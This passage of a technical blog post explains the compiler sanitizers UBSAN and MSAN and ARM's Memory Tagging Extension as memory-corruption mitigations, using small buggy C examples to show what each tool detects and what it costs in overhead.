style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">500</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">] = </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// may end up somewhere in b</span></p></td></tr></tbody></table><!--kg-card-end: html--><p></p><p><strong>Resources</strong>:</p><p><a href="https://storage.googleapis.com/pub-tools-public-publication-data/pdf/37752.pdf?ref=nixhacker.com">https://storage.googleapis.com/pub-tools-public-publication-data/pdf/37752.pdf</a></p><p></p><h3 id="ubsan-undefinedbehaviorsanitizer">UBSAN (UndefinedBehaviorSanitizer)</h3><p>UBSAN was introduced in 2012 in clang project starting from version 3.3 and 2013 in GCC since version 4.9. UBSAN uses compile-time instrumentation to catch undefined behavior during program execution.</p><p>These are some common types of bugs that UBSAN detect:</p><ul><li>Array subscript out of bounds, where the bounds can be statically determined</li><li>Bitwise shifts that are out of bounds for their data type</li><li>Dereferencing misaligned or null pointers</li><li>Signed integer overflow</li><li>Conversion to, from, or between floating-point types which would overflow the destination<br></li></ul><p>It works in similar fashion like any other sanitizers, by instrumenting every memory load.</p><h5 id="ubsan-in-action">UBSAN in action</h5><p>Let&#x2019;s look at the case of null pointer dereference in C program:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;stdio.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">() {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a, c; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// some integers</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> *pi; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// a pointer to an integer</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; a = </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">5</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; pi = </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">NULL</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; c = *pi; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// this is a NULL pointer dereference</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>Compile it using clang and execute it:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/BernlooVJnjYPshor60d-74ffqqaZMA_vcoGHa_ualqqonJjlqGxg4XjF8YCvcV2A2vMTfnV7GPkfcyDhaO-eV_g6DrLc4gyBH7-NmOvYp3FKrFnWtBynuxC7XuK5dXwAFIHiRPeUezuIC6dJuXM9lA" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="624" height="169"></figure><p>You can see UBSAN has detected null pointer dereference occur due to<em> c=*pi</em>. Let&#x2019;s see how the compiled binary code changes.</p><p>Before</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/Vois2uELfF1EhvjuWGZ07JNBhS2QO8cDFpd_jRGIP57Lcga8UdXon9foflWwa9b5qK-g4q2-PaKIP6Cc-FCPgFHN9ZcKuJzBu_CRzEwzdFniM-0Wd3tUZcR12SJaEYtbV3hel5e3kXiSnJcIDUzL8mo" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="499" height="301"></figure><p>After</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/kCLzfqPluWJSPasoDrZCYI5I5FdGUrESCKrFFxdKe358_fJlcnQAsa2Q6c_sx0p07iIHmGf_6_yQ3A8_kwwkJfIqwftTZbKe7xdEBLQRCvm5xVr-SziqaIrEUbgRO4N1CEHkJrLRjnM8mNt1DeDjlkQ" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="624" height="273"></figure><p>You will notice in UBSAN compiled code adds null pointer check after each memory load into register using <em>cmp </em>instruction. At the end it has<em> __ubsan_handle_type_mismatch</em> &#xA0;which detects any NULL pointer access, unaligned memory access, or accessing memory from a pointer whose data is an insufficient size.</p><h5 id="limitations-of-ubsan">Limitations of UBSAN</h5><p>Similar to ASAN, UBsan has performance related drawback. Adding UBSan instrumentation slows down programs by around 2 to 3x and increases the file size by around 20 times.<br></p><p><strong>Resources:</strong></p><p><a href="https://clang.llvm.org/docs/UndefinedBehaviorSanitizer.html?ref=nixhacker.com">https://clang.llvm.org/docs/UndefinedBehaviorSanitizer.html</a></p><p><a href="https://blogs.oracle.com/linux/post/improving-application-security-with-undefinedbehaviorsanitizer-ubsan-and-gcc?ref=nixhacker.com">https://blogs.oracle.com/linux/post/improving-application-security-with-undefinedbehaviorsanitizer-ubsan-and-gcc</a></p><p></p><h3 id="msan-memory-sanitizer">MSAN (Memory Sanitizer)</h3><p>The MSAN was initially presented in 2015 by the same group that was accountable for creating the ASAN. The primary objective of the MSAN was to identify uninitialized memory in the C/C++. In a manner similar to the ASAN, it operates through compile time instrumentation, but at present, it is only compatible with CLANG.</p><h5 id="msan-implementation-details">MSAN implementation details</h5><p>MSAN uses shadow memory, instrumentation and runtime library similar to ASAN but doesn&#x2019;t require red zones to work. Detailed working explained below.<br></p><p><strong>Shadow memory</strong></p><p>MemorySanitizer employs 1-to-1 shadow mapping, i.e. for each bit of application memory the tool keeps one bit of shadow memory. Bit 0 in shadow memory stands for initialized, or defined bit, and value 1 &#x2014; for uninitialized (undefined) bit. &#xA0;All newly allocated memory is &#x201C;poisoned&#x201D;, i.e. corresponding shadow memory is filled with <em><code>0xFF</code></em>, signifying that all bits of this memory are uninitialized.</p><p>For origin tracking it allocates another region of the same size immediately following the shadow memory region.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/ZGa8gYWjUPDm8BwP4Tnsk1gvIdK9JAYAoSaZwGzZFT-LU-sZDN4CGjX_ZHkhZHV82XCjuOAcm8U5TJ_B0Xm9bKHo3BDosteTF70xR1POEpZdPWo1K29p3P04rI9XnCT9WZ0elGu3pJXm-sdwDesI0YM" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="354" height="261"></figure><p><strong>Instrumentation</strong></p><p>MemorySanitizer needs to handle all possible LLVM IR (SSA-based program representation) instructions either by checking operand shadow, or by propagating it to the result shadow. For every IR temporary value MemorySanitizer creates another temporary that holds its shadow value.</p><p><strong>Runtime library</strong></p><p>MemorySanitizer runtime library shares much common code with AddressSanitizer and ThreadSanitizer libraries. At startup it makes the lower protected area inaccessible, and maps Shadow and, optionally, Origin areas. MemorySanitizer uses the same allocator as the other Sanitizer tools. It does not add redzones around memory allocations, and does not implement memory quarantine. Allocated regions (with the exception of calloc regions) are marked as uninitialized, or &#x2018;poisoned&#x2018;. Deallocated regions are marked uninitialized as well.<br></p><p>MemorySanitizer also implements origin tracking, which helps users to understand the errors. In origin tracking mode, MemorySanitizer associates a 32-bit origin value with each application value. This value serves as an identifier of a memory allocation (either heap or stack) that created the uninitialized bits this value depends on.</p><h5 id="msan-in-action">MSAN in action</h5><p>Let&#x2019;s look at MSAN in action with a small illustration.</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;stdio.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> argc, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">** argv) {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a[</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">10</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">];</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; a[</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">5</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">] = </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">if</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> (a[argc])</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;xx\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>Compile the above program with MSAN and execute it. You will find following report from MSAN</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/YxXzGmO7sX9tZnmqhUwekhUIP7BH-EQNYQM-KpMWiVqgzix_hmnLqFwkK827xutQy_nyVWGXKjEex2xJzbZafT8drBlKswx3_8E3qPF1y46q9roZhR_Bv32nLxDxLBvGczCl47aGxEMhQ4avNv_B9u0" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="624" height="103"></figure><p>You will observe that MSAN has identified the utilization of an uninitialized value in the line that contains <em><code>if(a[argc])</code></em>. MemorySanitizer is capable of retracing each uninitialized value back to the memory allocation where it originated from, and utilize this data in the generated reports. This functionality is activated by using the <em>-fsanitize-memory-track-origins</em> flag.</p><p>Let&#x2019;s see how the program differ in IDA:</p><p>Before:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/Wsr6TQIclft61KcwBy8PUtTqKpvPmOjniizHvmANWd0XaIc1T7-0HfiA8eZvC-OYHzrZiCYeeIwaLGcLQsXfDO8R4N_LFbdQc9y-jWWkQb-VLpKASK4EOkMS8dei-HIbPlD3scT75BGvLGt750bz0aU" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="564" height="398"></figure><p>After</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/IWbW8TjQyflXb-mN6fNPPnD3AXWhTGxvC8GD3cRcees3A4N3kmsPjYzUb9IAKkn40bDrhn5If7IE-bterxjxV31PliBnFA6JKAKIqt4ChPjEpm4u_ftG7UG34-UW3uSHqVPIxmTE5cUdAlLjNJWSFyU" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="624" height="322"></figure><h5 id="limitations-of-msan">Limitations of MSAN</h5><p>MSAN does it&#x2019;s job pretty well without any False negatives or false positives, only drawback it holds similar to other such tool is it&#x2019;s performance overhead which limit it to use only in testing environment. It takes 2x more memory as it needs 1:1 shadow memory mapping and the execution time get increased to 2.5x due to instrumentation and runtime library work.</p><p>Other drawback of MSAN is its limited support to clang and linux environments.</p><p><strong>Resources</strong>:<br><a href="https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43308.pdf?ref=nixhacker.com">https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43308.pdf</a></p><p></p><h2 id="mte-memory-tagging-extension">MTE (Memory tagging Extension)</h2><p>In 2018, ARM unveiled MTE in ARMv8.5-A, a hardware-enforced memory violation feature for the ARM architecture. It is referred to as a replacement for sanitizers due to its close resemblance in functionality, but with significantly reduced overhead. Unlike all the other tools mentioned in this chapter, MTE is currently the only tool being utilized in production(<a href="https://www.xda-developers.com/android-14-advanced-memory-protection/?ref=nixhacker.com">reference</a>).</p><h3 id="mte-internals">MTE internals</h3><p>MTE is based on the concept of tagging. To store tags in virtual addresses, It uses the &#x201C;Top byte ignore&#x201D; bits in 64 bit <em>AARCH64 </em>addressing.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/ny2g-FfkghZa5S6IQOkCSzkNh0_NLQ2uXOPuocTJTV72ZsbzX4qQnqh4Zsjv5nVRI5BKJdwmZyJTFr4AzauQsWaco7RYJyHspgm4GZ_Uj8dfdGY7hXOy1_zIzGj7_jX_ed6ra0k2X3Ny3kQrTZhdU3I" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="624" height="248"></figure><p>At high level, when MTE is turned on, memory locations are tagged by adding four bits of metadata to each 16 bytes of physical memory. On memory store/allocation, the same tag is moved into the virtual address. During dereference/loading, tag are matched if they are same or not. The whole concept can be understood better using the illustration below.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/k0djTKTiCwvgUizArhsjiCe5EZ8veFR2IJ4L0ctzHJ-P5-MDgr7VfaYNUkfDPRfbtYgJkX6ZoCS8QEIFZucaStd8VdUdlbj27v05IA0z9ihwL_unQaBrweEIQQp23Zzuj4fQ37bI6K4nt1Ky3ImwXJE" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="624" height="365"></figure><p>To use MTE in linux(currently only supported by llvm), compile and link your program with <em>-fsanitize=memtag</em> flag. This will only work when targeting AArch64 with MemTag extension. One possible way to achieve that is to add <em>-target aarch64-linux -march=armv8+memtag</em> to compilation flags. Below are the common instruction compiler can use to add tags to program.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/QGecSQFoycrFa_3a8-pjbJgb9xJL0klKwkzKUHsORQxwvY9bw5Sk7_8-QSgWb1GWAfiSKEF3G3CdUlK5F1yuvZPlIcAjHSphAYnIwY8JWUah9aMw2PiJcD151YjNpwpVCQPuJnPNhFYt1xCVgwTTRc8" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="624" height="291"></figure><p><strong>Resources:</strong></p><p><a href="https://developer.arm.com/-/media/Arm%20Developer%20Community/PDF/Arm_Memory_Tagging_Extension_Whitepaper.pdf?ref=nixhacker.com">https://developer.arm.com/-/media/Arm%20Developer%20Community/PDF/Arm_Memory_Tagging_Extension_Whitepaper.pdf</a></p><p><a href="https://8ksec.io/arm64-reversing-and-exploitation-part-10-intro-to-arm-memory-tagging-extension-mte/?ref=nixhacker.com">https://8ksec.io/arm64-reversing-and-exploitation-part-10-intro-to-arm-memory-tagging-extension-mte/</a></p><p></p><h3 id="future-of-memory-corruptions-and-it%E2%80%99s-mitigations">Future of Memory corruptions and it&#x2019;s mitigations</h3><p>Examining the evolution of memory corruption vulnerabilities reveals a notable shift in recent years. The collective awareness within the security industry and among developers has significantly increased, leading to a decline in the prevalence of straightforward memory corruptions. However, these vulnerabilities persist in more intricate forms. Notably, the realms of Linux and Windows kernelspace continue to harbor traditional memory corruption vulnerabilities, albeit in decreasing numbers.</p><p>Despite the persistence of these vulnerabilities, the implementation of robust mitigations has made exploiting memory corruptions progressively challenging. As security measures become more sophisticated, the traditional avenues for attacks are closing, pushing adversaries towards exploiting complex and less common scenarios.</p><p>In the landscape of mitigations, we currently deploy first-generation defenses that provide protection against a wide range of cases. Second-generation mitigation support is now integrated into most compilers and architectures, although it is not always enabled by default. There remains room for improvement in terms of performance, and efforts are underway to strike the right balance between security and efficiency.</p><p>Additionally, the collaboration between hardware and software ecosystems is strengthening, with more emphasis on designing processors and architectures that inherently resist memory corruption exploits. The integration of hardware-enforced security mechanisms, such as Intel&apos;s Control-Flow Enforcement Technology (CET) and ARM&apos;s Pointer Authentication Codes (PAC), adds an extra layer of defense against memory-based attacks.</p><p>Moreover, the adoption of DevSecOps practices is playing a pivotal role in mitigating memory corruption risks. The continuous integration and deployment pipelines incorporate security checks (chapter 3) and automated testing for identifying and addressing vulnerabilities in the early stages of development.</p><p>In conclusion, while memory corruption vulnerabilities persist, the landscape is evolving towards a more resilient future. The combination of advanced 